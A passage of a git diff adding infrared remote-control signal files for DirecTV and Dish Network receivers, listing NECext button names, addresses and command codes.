00 +command: 41 00 00 00 +# +name: yellow +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: green +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: blue +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: vol+ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: vol- +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir new file mode 100644 index 000000000..5239938b6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 11 00 00 00 +# +name: KEY_DASH +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 21 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 22 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 23 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 24 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 25 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 26 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 27 00 00 00 +# +name: KEY_GUIDE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 28 00 00 00 +# +name: KEY_ACTIVE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 29 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 31 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 34 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 35 00 00 00 +# +name: KEY_RESTART +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 36 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 41 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 42 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 43 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 44 00 00 00 +# +name: KEY_FORMAT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 73 00 00 00 +# +name: KEY_POWERON +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 80 00 00 00 +# +name: KEY_POWEROFF +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 81 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir new file mode 100644 index 000000000..65ba4a764 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CUR_/_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCEL_-_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE_* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: FORMAT/* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SEARCH/# +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: R_BUTTON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir new file mode 100644 index 000000000..2fe946a4e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: PAGE+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: DISH +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: DISH_BUTTON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: PVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: RECORDED_EVENTS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: DVR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 39 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: PIP_ON/SIZE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: PIP_POSITION +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir new file mode 100644 index 000000000..fcaa3b856 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir new file mode 100644 index 000000000..d3f71ca84 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,0.ir @@ -0,0 +1,668 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: SAT_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: ABC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: DEF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: GHI +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: JKL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MNO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: PQRS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: TUV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: WXYZ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER/SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CUR_/_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: C_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CANCEL_-_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: GUIDE_* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: LISTINGS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: LIVETV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: VIEW/LIVE_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: HD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: SD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: TV_/_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: LCV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT_(THEMES) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: THEMES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CHAN_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: SYS_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: FORMAT/* +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: *-FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: SAT_FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: <_/_FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SEARCH/# +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: #-SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: SEARCH_# +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: GREEN_R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: RECOVER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir new file mode 100644 index 000000000..b7b67d6c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0E 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: CURSER_SELECT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 17 00 00 00 +# +name: TV/VID +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 17 00 00 00 +# +name: CURSOR_RIGHT(BROWSE) +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 18 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1B 00 00 00 +# +name: CURSOR_LEFT_(THEMES) +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1C 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 +# +name: SYS_INFO +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 24 00 00 00 +# +name: *-FORMAT +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 25 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 25 00 00 00 +# +name: #-SEARCH +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 26 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 26 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir new file mode 100644 index 000000000..8bb7f8950 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/0,12.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 0C 00 00 +command: 09 